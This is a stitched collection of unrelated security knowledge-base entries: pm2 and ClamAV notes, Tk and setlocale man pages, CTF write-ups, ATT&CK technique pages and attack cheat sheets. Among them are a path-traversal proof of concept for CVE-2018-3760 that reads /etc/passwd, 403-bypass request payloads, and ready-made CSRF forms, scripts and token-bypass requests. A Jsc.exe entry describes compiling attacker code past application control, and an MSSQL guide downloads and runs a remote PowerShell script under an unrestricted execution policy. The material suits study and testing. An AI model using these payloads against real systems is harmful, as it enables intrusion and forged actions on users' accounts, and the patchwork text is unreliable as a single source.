some commands that are worth knowing. Just try them with a sample application or with your current web application on your development machine Fork mode ```shell script $ pm2 start app.js --name my-api # Name process ``` Cluster mode ```shell script $ pm2 start app.js -i 0 # Will start maximum processes with LB depending on available CPUs $ pm2 start app.js -i max # Same as above, but deprecated. $ pm2 scale app +3 # Scales `app` up by 3 workers $ pm2 scale app 2 # Scales `app` up or down to 2 workers total ``` Listing ```shell script $ pm2 list # Display all processes status $ pm2 jlist # Print process list in raw JSON $ pm2 prettylist # Print process list in beautified JSON $ pm2 describe 0 # Display all information about a specific process $ pm2 monit # Monitor all processes ``` Logs ```shell script $ pm2 logs [--raw] # Display all processes logs in streaming $ pm2 flush # Empty all log files $ pm2 reloadLogs # Reload all logs ``` Actions ```shell script $ pm2 stop all # Stop all processes $ pm2 restart all # Restart all processes $ pm2 reload all # Will 0s downtime reload (for NETWORKED apps) $ pm2 stop 0 # Stop specific process id $ pm2 restart 0 # Restart specific process id $ pm2 delete 0 # Will remove process from pm2 list $ pm2 delete all # Will remove all processes from pm2 list ``` Misc ```shell script $ pm2 reset <process> # Reset meta data (restarted time...) $ pm2 updatePM2 # Update in memory pm2 $ pm2 ping # Ensure pm2 daemon has been launched $ pm2 sendSignal SIGUSR2 my-app # Send system signal to script $ pm2 start app.js --no-daemon $ pm2 start app.js --no-vizion $ pm2 start app.js --no-autorestart ``` ### Updating PM2 We made it simple, there is no breaking change between releases and the procedure is straightforward ```shell script $ npm install pm2@latest -g ``` Then update the in-memory PM2 ```shell script $ pm2 update ``` Also see -------- - [QUICK START](https://pm2.keymetrics.io/docs/usage/quick-start/) _(pm2.keymetrics.io)_
sec-knowleage
# Ruby On Rails Path Traversal Vulnerability(CVE-2018-3760) [中文版本(Chinese version)](README.zh-cn.md) Ruby On Rails is a well-known Ruby Web development framework, which uses Sprockets as a static file server in development environment. Sprockets is a Ruby library that compiles and distributes static resource files. There is a path traversal vulnerability caused by secondary decoding in Sprockets 3.7.1 and lower versions. An attacker can use `%252e%252e/` to access the root directory and read or execute any file on the target server. Reference links: - https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf - https://seclists.org/oss-sec/2018/q2/210 - https://xz.aliyun.com/t/2542 ## Environment setup Enter the following command: ``` docker compose up -d ``` Visit `http://your-ip:3000` and you'll see the welcome page. ## POC It will give an error by visiting `http://your-ip:3000/assets/file:%2f%2f/etc/passwd` directly, as the file `/etc/passwd` is not in the allowed directory. ![](1.png) We can get a list of allowed directories by the error page. Just select one of them, such as `/usr/src/blog/app/assets/images`, then use `%252e%252e/` to jump to the parent directory, and finally read the file `/etc/passwd`: ``` http://your-ip:3000/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd ``` ![](2.png)
sec-knowleage
# ClamAV 部署 > 笔记内容由 [Lorna Dane](https://github.com/tonyscy) 提供,仅做部分内容排版修改 --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- ## ubuntu **安装** ```bash apt-get install clamav apt-get install clamtk # 图形化界面,可以不装 ``` *安装完成之后查看版本信息* *尝试运行* 接下来就是下载最新的病毒库。 可以使用 `freshclam -v` 来直接下载,但是通常情况下网络都非常不稳定,很可能导致多次下载一次都不成功。 所以我们需要手动下载病毒库。 ```bash wget http://database.clamav.net/main.cvd wget http://database.clamav.net/daily.cvd ``` 下载完成之后放入 clamAV 指定的文件夹。 再次使用更新完的 clamAV --- ## centos7 ```bash yum -y install epel-release # 安装epel yum install -y clamav clamav-update # 安装ClamAV ``` 在通常情况下,centos 中安装完 clamAV 不能直接使用,使用 `clamscan -v` 可以看到以下报错。 这时需要 `freshclam` 来安装最新病毒库。 可以看到已经可以扫描了 --- ## Fedora 使用 yum 直接安装 ```bash yum install -y clamav clamav-update # 安装ClamAV ``` 和 centos 一样,也需要更新病毒库后才可以使用。 使用 `freshclam` 来更新病毒库。 扫描 --- ## debian 安装 ```bash apt-get install clamav ``` 更新 ```bash freshclam -v ``` 扫描
sec-knowleage
# White Box Unboxing > Here is a binary implementing a cryptographic algorithm. You provide an input and it > produces the corresponding output. Can you extract the key? We were given binary implementing, as it turns out, whitebox implementation of AES. For a while I tried standard methods of breaking it, but in the end used `deadpool` library implementing various DFA attacks. I have no idea how they work, but they solved the puzzle. Scripts attached. -- akrasuski1
sec-knowleage
# T1127-win-受信任的开发者实用程序代理执行-Jsc.exe(白名单) ## 来自ATT&CK的描述 攻击者可能会利用受信任的开发人员使用的程序来代理执行恶意载荷。有许多用于软件开发相关任务的实用程序可用于执行各种形式的代码,以协助开发、调试和逆向工程。这些实用程序通常可能使用合法证书进行签名,允许它们在系统上执行并通过有效绕过应用程序控制解决方案的受信任进程代理执行恶意代码。 ## 测试案例 jsc.exe是Microsoft Corporation开发的Microsoft®JScript .NET的一部分,用来将javascript代码编译为.exe或.dll格式的二进制文件。 路径: ``` - C:\Windows\Microsoft.NET\Framework\v4.0.30319\Jsc.exe - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Jsc.exe - C:\Windows\Microsoft.NET\Framework\v2.0.50727\Jsc.exe - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Jsc.exe ``` 使用jsc.exe编译存储在scriptfile.js中的javascript代码并输出scriptfile.exe。 ``` jsc.exe scriptfile.js ``` 用例:在系统上编译攻击者代码。绕过防御性反措施。 所需权限: 用户 操作系统:Windows vista、Windows 7、Windows 8、Windows 8.1、Windows 10 使用jsc.exe编译存储在Library.js中的javascript代码并输出Library.dll。 ``` jsc.exe /t:library Library.js ``` 用例:在系统上编译攻击者代码。绕过防御性反措施。 所需权限: 用户 操作系统:Windows vista、Windows 7、Windows 8、Windows 8.1、Windows 10 ## 检测日志 windows security ## 测试复现 无 ## 测试留痕 无 ## 检测规则/思路 除非用于开发,否则Jsc.exe通常不应在系统中运行。 ## 参考推荐 MITRE-ATT&CK-T1127 <https://attack.mitre.org/techniques/T1127> Jsc.exe <https://lolbas-project.github.io/lolbas/Binaries/Jsc/> 远控免杀专题(67)-白名单(113个)总结篇 <http://www.smatrix.org/forum/forum.php?mod=viewthread&tid=316>
sec-knowleage
'\" '\" Copyright (c) 1992 The Regents of the University of California. '\" Copyright (c) 1994-1996 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: tk_dialog.n,v 1.2 2003/11/24 05:10:00 bbbush Exp $ '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" RCS: @(#) $Id: tk_dialog.n,v 1.2 2003/11/24 05:10:00 bbbush Exp $ '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH tk_dialog 3tk 4.1 Tk "Tk Built-In Commands" .BS '\" Note: do not modify the .SH NAME line immediately below! .SH NAME tk_dialog \- 建立模式对话框并等待响应 .SH "总览 SYNOPSIS" \fBtk_dialog \fIwindow title text bitmap default string string ...\fR .BE .SH "描述 DESCRIPTION" .PP 这个过程是 Tk 脚本库的一部分。它的参数描述一个对话框: .TP \fIwindow\fR 用于对话框的顶层窗口的名字。销毁叫这个名字的任何现存窗口。 .TP \fItitle\fR 显示在窗口管理器给这个对话框的标题栏中的文字。 .TP \fItext\fR 出现在对话框顶部的消息。 .TP \fIbitmap\fR 如果非空,则指定在对话框的顶部显示在文字左边的一个位图。如果它是一个空串则在对话框中不显示位图。 .TP \fIdefault\fR 如果它是大于等于零的一个整数,则它给出成为这个对话框的缺省按钮的按钮的索引(0 给最左的按钮,并以次类推)。如果小于零或是一个空串则没有缺省按钮。 .TP \fIstring\fR 为这些参数中的每个建立一个按钮。按从左至右的次序,每个\fIstring\fR 指定要在一个按钮中显示的文字。 .PP 在建立了对话框之后,\fBtk_dialog\fR 等待用户选择按钮中的一个,要么通过用鼠标点击按钮之一要么通用键入返回键来调用缺省按钮(如果有的话)。接着它返回选择的按钮的索引: 0 是最左的按钮,1 是下一个按钮,并以次类推。如果这个对话框的窗口在用户选择按钮中的一个之前就被销毁了,则返回 -1。 .PP 在等待用户响应期间,\fBtk_dialog\fR 设置一个本地夺取(grab)。这将防止用户以除了调用这个对话框之外的任何方式与应用进行交互。 .SH "关键字 KEYWORDS" bitmap, dialog, modal .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2002/05/17 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# 4_messages (crypto 100) ## ENG [PL](#pl-version) In the task we get [4 Playfair ciphertexts](captured.log) and we know that the plaintext starts with `Good evening hackit two thousand seventeen`. We actually approached this in a bit unconventional way, since the first attack we found was a heuristic to recover message from a single ciphertext with no plaintext known at all described here: http://practicalcryptography.com/cryptanalysis/stochastic-searching/cryptanalysis-playfair/ So we simply proceed with this and recover plaintexts within seconds: ``` GOOD EVENING HACKIT TWO THOUSAND SEVENTEEN IN THIS TINY BROCURE WE WOULD LIKE TO DESCRIBE HOW IT IS TO BE A PLAYFAIR CRYPTOR NO DOUBT IT IS EASY AS HECK BUT YOU GOT TO HAVE A PIECE OF PAPER ALL THE TIME WE BET THERE IS NO CONVINIENCE NOW LETS CUT THE SHIT RESTORE THE MATRIX KEYS FOR EACH CIPHERTEXT THEN TAKE FIRST SIX LETTERS THEN COMBINE THEM TO GET HER AND YOU WILL GET THE FLAG ``` And the matrix keys: ``` TBDEFGLMNOPQRSUVWXYZHACKI WXZTUVERISBCDYAHKLFGOPQMN NGEDACFHRBLMOIKSTUPQXYZVW UVWXZCRYPTOABDEFGHIKLMNQS ``` Now with some luck, guessing and 5x5 matrix column/row shifts we figure out the codewords: ``` hackit isvery danger crypto ``` So the flag is: `h4ck1t{hackitisverydangercrypto}` ## PL version W zadaniu dostajemy [4 szyfrogramy Playfair](captured.log) i wiemy że plaintext zaczyna się od `Good evening hackit two thousand seventeen`. Podeszliśmy do tego zadania trochę niekonwencjonalnie, bo pierwszy atak na który trafiliśmy to była heurystyka do odzyskiwania wiadomości na podstawie jednego szyfrogramu bez żadnej znajomości plaintextu opisana tutaj: http://practicalcryptography.com/cryptanalysis/stochastic-searching/cryptanalysis-playfair/ Uruchomiliśmy więc solver i w kilka sekund odzyskaliśmy wiadomości: ``` GOOD EVENING HACKIT TWO THOUSAND SEVENTEEN IN THIS TINY BROCURE WE WOULD LIKE TO DESCRIBE HOW IT IS TO BE A PLAYFAIR CRYPTOR NO DOUBT IT IS EASY AS HECK BUT YOU GOT TO HAVE A PIECE OF PAPER ALL THE TIME WE BET THERE IS NO CONVINIENCE NOW LETS CUT THE SHIT RESTORE THE MATRIX KEYS FOR EACH CIPHERTEXT THEN TAKE FIRST SIX LETTERS THEN COMBINE THEM TO GET HER AND YOU WILL GET THE FLAG ``` I klucze: ``` TBDEFGLMNOPQRSUVWXYZHACKI WXZTUVERISBCDYAHKLFGOPQMN NGEDACFHRBLMOIKSTUPQXYZVW UVWXZCRYPTOABDEFGHIKLMNQS ``` Dalej przy odrobinie szczęścia, zgadywania i przesuwania kolumn/wierszy macierzy 5x5 dostajemy: ``` hackit isvery danger crypto ``` Więc flaga to: `h4ck1t{hackitisverydangercrypto}`
sec-knowleage
package org.vulhub.xstreamsample; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; @SpringBootApplication public class XstreamSampleApplication { public static void main(String[] args) { SpringApplication.run(XstreamSampleApplication.class, args); } }
sec-knowleage
# HTTPS `HTTPs = HTTP + SSL / TLS`.服务端和客户端的信息传输都会通过TLS进行加密,所以传输的数据都是加密后的数据 - [wireshark分析HTTPs](http://www.freebuf.com/articles/system/37900.html) ## 例题 > 题目:hack-dat-kiwi-ctf-2015:ssl-sniff-2 打开流量包发现是 `SSL` 加密过的数据,导入题目提供的`server.key.insecure`,即可解密 ```xml GET /key.html HTTP/1.1 Host: localhost HTTP/1.1 200 OK Date: Fri, 20 Nov 2015 14:16:24 GMT Server: Apache/2.4.7 (Ubuntu) Last-Modified: Fri, 20 Nov 2015 14:15:54 GMT ETag: "1c-524f98378d4e1" Accept-Ranges: bytes Content-Length: 28 Content-Type: text/html The key is 39u7v25n1jxkl123 ```
sec-knowleage
# Bypass 403 (Forbidden) 1. Using "X-Original-URL" header ``` GET /admin HTTP/1.1 Host: target.com ``` Try this to bypass ``` GET /anything HTTP/1.1 Host: target.com X-Original-URL: /admin ``` 2. Appending **%2e** after the first slash ``` http://target.com/admin => 403 ``` Try this to bypass ``` http://target.com/%2e/admin => 200 ``` 3. Try add dot (.) slash (/) and semicolon (;) in the URL ``` http://target.com/admin => 403 ``` Try this to bypass ``` http://target.com/secret/. => 200 http://target.com//secret// => 200 http://target.com/./secret/.. => 200 http://target.com/;/secret => 200 http://target.com/.;/secret => 200 http://target.com//;//secret => 200 ``` 4. Add "..;/" after the directory name ``` http://target.com/admin ``` Try this to bypass ``` http://target.com/admin..;/ ``` 5. Try to uppercase the alphabet in the url ``` http://target.com/admin ``` Try this to bypass ``` http://target.com/aDmIN ``` 6. Via Web Cache Poisoning ``` GET /anything HTTP/1.1 Host: victim.com X­-Original-­URL: /admin ``` ## Tools * [Bypass-403 | Go script for bypassing 403 forbidden](https://github.com/daffainfo/bypass-403) ## References - [@iam_j0ker](https://twitter.com/iam_j0ker) - [Hacktricks](https://book.hacktricks.xyz/pentesting/pentesting-web)
sec-knowleage
# T1608-002-阶段性能力-上传工具 ## 来自ATT&CK的描述 攻击者可能会将工具上传到第三方或攻击者控制的基础设施上,使其在目标攻击期间可以使用。工具可以是开放或闭源的,免费或商业的。工具可被攻击者用于恶意目的,但这些工具的设计初衷(与恶意软件不同)并不打算用于这些目的(例如:PsExec)。攻击者可能会上传工具以支持他们的行动,例如将工具放在互联网可访问的网络服务器上,让受害者网络可以使用,以实现入侵工具传输。 工具可能被放置在攻击者之前购买或租用的基础设施上(购买基础设施),或者被他们以其他方式破坏(盗取基础设施)。工具也可以被放置在网络服务上,例如攻击者控制的GitHub repo。 攻击者可以通过让被攻击的受害者机器直接从第三方托管位置(例如:非攻击者控制的GitHub repo)下载工具,包括工具的原始托管网站,来避免上传工具的需要。 ## 测试案例 暂无 ## 检测日志 无法有效监测 ## 测试复现 无 ## 测试留痕 无 ## 检测规则/思路 无 ## 建议 ### 缓解措施 这种技术不容易用预防控制来缓解,因为它是基于企业防御和控制范围之外的行为。 ### 检测 这种活动大多发生在目标组织的能见度之外,使得检测这种行为变得困难。检测工作可能集中在攻击生命周期的后渗透阶段,如入侵工具转移。 ## 参考推荐 MITRE-ATT&CK-T1608-002 <https://attack.mitre.org/techniques/T1608/002/>
sec-knowleage
# Cross Site Request Forgery (CSRF) ## Introduction Cross-Site Request Forgery (CSRF/XSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated ## Where to find Usually found in forms. Try submit the form and check the HTTP request. If the HTTP request does not have a CSRF token then it is likely to be vulnerable to a CSRF attack. ## How to exploit 1. HTML GET Method ```html <a href="http://www.example.com/api/setusername?username=uname">Click Me</a> ``` 2. HTML POST Method ```html <form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST"> <input name="username" type="hidden" value="uname" /> <input type="submit" value="Submit Request" /> </form> ``` 3. JSON GET Method ```html <script> var xhr = new XMLHttpRequest(); xhr.open("GET", "http://www.example.com/api/currentuser"); xhr.send(); </script> ``` 4. JSON POST Method ```html <script> var xhr = new XMLHttpRequest(); xhr.open("POST", "http://www.example.com/api/setrole"); xhr.withCredentials = true; xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8"); xhr.send('{"role":admin}'); </script> ``` 5. Multipart request ```html <head> <title>Multipart CSRF PoC</title> </head> <body> <br> <hr> <h2>Click Submit request</h2><br> <script> function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open("POST", "https://example/api/users", true); xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5"); xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------149631704917378"); xhr.withCredentials = true; var body = "-----------------------------149631704917378\r\n" + "Content-Disposition: form-data; name=\"action\"\r\n" + "\r\n" + "update\r\n" + "-----------------------------149631704917378\r\n" + "Content-Disposition: form-data; name=\"user_id\"\r\n" + "\r\n" + "1\r\n" + "-----------------------------149631704917378\r\n" + "Content-Disposition: form-data; name=\"uname\"\r\n" + "\r\n" + "daffainfo\r\n" + "-----------------------------149631704917378\r\n" + "Content-Disposition: form-data; name=\"first_name\"\r\n" + "\r\n" + "m\r\n" + "-----------------------------149631704917378\r\n" + "Content-Disposition: form-data; name=\"last_name\"\r\n" + "\r\n" + "daffa\r\n" + "-----------------------------149631704917378--\r\n"; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } </script> <form action="#"> <input type="button" value="Submit request" onclick="submitRequest();" /> </form> <br> </body> ``` # Bypass CSRF Token But in some cases, even though there is a CSRF token on the form on the website. CSRF tokens can still be bypassed by doing a few things: 1. Change single character ``` POST /register HTTP/1.1 Host: target.com ... username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa ``` Try this to bypass ``` POST /register HTTP/1.1 Host: target.com ... username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaab ``` 2. Sending empty value of token ``` POST /register HTTP/1.1 Host: target.com ... username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa ``` Try this to bypass ``` POST /register HTTP/1.1 Host: target.com ... username=dapos&password=123456&token= ``` 3. Replace the token with same length ``` POST /register HTTP/1.1 Host: target.com ... username=dapos&password=123456&token=aaaaaa ``` Try this to bypass ``` POST /register HTTP/1.1 Host: target.com ... username=dapos&password=123456&token=aaabaa ``` 4. Changing POST / GET method ``` POST /register HTTP/1.1 Host: target.com ... username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa ``` Try this to bypass ``` GET /register?username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa HTTP/1.1 Host: target.com ... ``` 5. Remove the token from request ``` POST /register HTTP/1.1 Host: target.com ... username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa ``` Try this to bypass ``` POST /register HTTP/1.1 Host: target.com ... username=dapos&password=123456 ``` 6. Use another user's valid token ``` POST /register HTTP/1.1 Host: target.com ... username=dapos&password=123456&token=ANOTHER_VALID_TOKEN ``` 7. Try to decrypt hash ``` POST /register HTTP/1.1 Host: target.com ... username=dapos&password=123456&token=MTIzNDU2 ``` MTIzNDU2 => 123456 with base64 8. Sometimes anti-CSRF token is composed by 2 parts, one of them remains static while the others one dynamic ``` POST /register HTTP/1.1 Host: target.com ... username=dapos&password=123456&token=vi802jg9f8akd9j123 ``` When we register again, the request like this ``` POST /register HTTP/1.1 Host: target.com ... username=dapos&password=123456&token=vi802jg9f8akd9j124 ``` If you notice "vi802jg9f8akd9j" part of the token remain same, you just need to send with only static part
sec-knowleage
# MSSQL 搭建 --- 先通过 ps 脚本安装 chrome ``` set-ExecutionPolicy Unrestricted curl -o f8x.ps1 https://f8x.io/ps1 Unblock-File .\f8x.ps1 .\f8x.ps1 ``` 在看到 Successfully installed chrome 的时候就可以 ctrl+c 退出 ps 脚本了 访问 https://www.microsoft.com/zh-CN/download/details.aspx?id=42299 ,下载 SQLEXPRADV_x64_CHS.exe 通过服务器管理器,添加功能,安装 .NET Framework 3.5,安装完毕后,运行 SQLEXPRADV_x64_CHS.exe 一路下一步,选择 默认实例 身份认证模式选择 混合模式,密码自定义,比如这里改为 Abcd1234!! 然后一路下一步即可 安装完毕后,打开 SQL Server 配置管理器 点击 SQL Server 网络配置,启用 tcp/ip,重启 sql server 服务,这样可以远程连接,SqlServer 服务使用两个端口:TCP-1433、UDP-1434。 用工具连接测试 确认可以访问 --- 有大神分享过精简版的 Microsoft SQL Server 2008 R2,会强制安装到D:\XIUMU.ORG目录 - https://xiumu.org/technology/microsoft-sql-server-2008-r2-portable.shtml - `下载完成打开自解压包,程序会自动解压到D:\XIUMU.ORG目录,执行注册服务或进程模式就可以了。需要说明的是执行卸载时候系统会清理SQL Server相关的服务和注册表信息,如果系统因为折腾SQL Server而无法正常安装的情况可以先执行卸载,再启动服务。默认sa密码为www.xiumu.org`
sec-knowleage
.\" (c) 1993 by Thomas Koenig (ig25@rz.uni-karlsruhe.de) .\" and 1999 by Bruno Haible (haible@clisp.cons.org) .\" .\" Permission is granted to make and distribute verbatim copies of this .\" manual provided the copyright notice and this permission notice are .\" preserved on all copies. .\" .\" Permission is granted to copy and distribute modified versions of this .\" manual under the conditions for verbatim copying, provided that the .\" entire resulting derived work is distributed under the terms of a .\" permission notice identical to this one .\" .\" Since the Linux kernel and libraries are constantly changing, this .\" manual page may be incorrect or out-of-date. The author(s) assume no .\" responsibility for errors or omissions, or for damages resulting from .\" the use of the information contained herein. The author(s) may not .\" have taken the same level of care in the production of this manual, .\" which is licensed free of charge, as they might when working .\" professionally. .\" .\" Formatted or processed versions of this manual, if unaccompanied by .\" the source, must acknowledge the copyright and authors of this work. .\" License. .\" Modified Sat Jul 24 18:20:12 1993 by Rik Faith (faith@cs.unc.edu) .\" Modified Tue Jul 15 16:49:10 1997 by Andries Brouwer (aeb@cwi.nl) .\" Modified Sun Jul 4 14:52:16 1999 by Bruno Haible (haible@clisp.cons.org) .\" Modified Tue Aug 24 17:11:01 1999 by Andries Brouwer (aeb@cwi.nl) .\" Modified Tue Feb 6 03:31:55 2001 by Andries Brouwer (aeb@cwi.nl) .TH SETLOCALE 3 1999-07-04 "GNU" "Linux Programmer's Manual" .SH NAME setlocale \- 设置当前的区域选项 .SH "总览 (SYNOPSIS)" .nf .B #include <locale.h> .sp .BI "char *setlocale(int " category ", const char * " locale ");" .fi .SH "描述 (DESCRIPTION)" .B setlocale() 函数 用来 设置 或者 查询 程序 当前 的 区域选项. .PP 如果 .I locale 不是 .BR NULL , 程序 就会 根据 参数 更改 相应的 区域选项. .I category 参数 指定 区域选项 的 哪一部分 需要 更改. .TP .B LC_ALL 代表 所有 部分. .TP .B LC_COLLATE 代表 正则 表达式 匹配 (和 范围 表达式[range expressions] 以及 字符类[classes] 有关系) 和 字符串 排序. .TP .B LC_CTYPE 代表 正则 表达式 匹配, 字符类(character classification), 转换, 区分大小写 的 比较, 以及 宽字符 函数. .TP .B LC_MESSAGES 代表 可以 本地化的 消息 (自然语言). .TP .B LC_MONETARY 代表 货币 格式. .TP .B LC_NUMERIC 代表 数字 格式 (比如 小数点 和 千位分组符). .TP .B LC_TIME 代表 时间 和 日期 格式. .PP .I locale 参数 是 一个 指向 字符串的 指针. 此 字符串 为 .IR category 需要的 设置. 此 字符串 可以是 一个 众所周知 的 区域选项 常量, 如 "C" 或 "da_DK" (见下), 也可以是 另外 一个 .BR setlocale 调用 返回 的 字符串. .PP 如果 .I locale 是 .BR """""" , 需要 更改 的 部分 会根据 环境变量 做 相应的 设置. 具体的 和 实现 有关. 对于 glibc 来说, 首先 查看 .\" [This is false on my system - must check which library versions do this] .\" if .\" .I category .\" is LC_MESSAGES, the environment variable LANGUAGE is inspected, .\" then 环境变量 LC_ALL (不管 .IR category ), 然后 查看 和 category (LC_COLLATE, LC_CTYPE, LC_MESSAGES, LC_MONETARY, LC_NUMERIC, LC_TIME) 同名的 环境变量, 最后 查看 环境变量 LANG. 以 先查到 的 环境变量 为准. 如果 其值 不是 一个 有效 的 区域选项, 区域选项 将 不会改变, .B setlocale 会 返回 NULL. .\" The environment variable LANGUAGE may contain several, colon-separated, .\" locale names. .PP 标准 区域选项 .B """C""" 和 .B """POSIX""" 是 可移植的; 它的 LC_CTYPE 部分 对应的 是 7 位的 ASCII 字符集. .PP 一个 典型的 区域选项 有 如下的 格式: .IR language "[_" territory "][." codeset "][@" modifier "]," 其中 .I language 是 一个 ISO 639 语言 代码, .I territory 是 一个 ISO 3166 国家 代码, .I codeset 是 一个 象 .B "ISO-8859-1" 或者 .BR "UTF-8" 的 字符集 或者 编码 标识符. 用 "locale -a", cf.\& .BR locale (1) 可以 获得 一个 系统 支持的 区域选项 的 列表. .PP 如果 .I locale 是 .BR NULL , 意味着 只是 查询 当前 的 区域选项 而不 更改它. .PP 当 main 程序 开始的 时候 可移植的 .B """C""" 区域选项 作为 默认值 被设置. 一个 程序 可以 在 初始化 之后 调用 .B 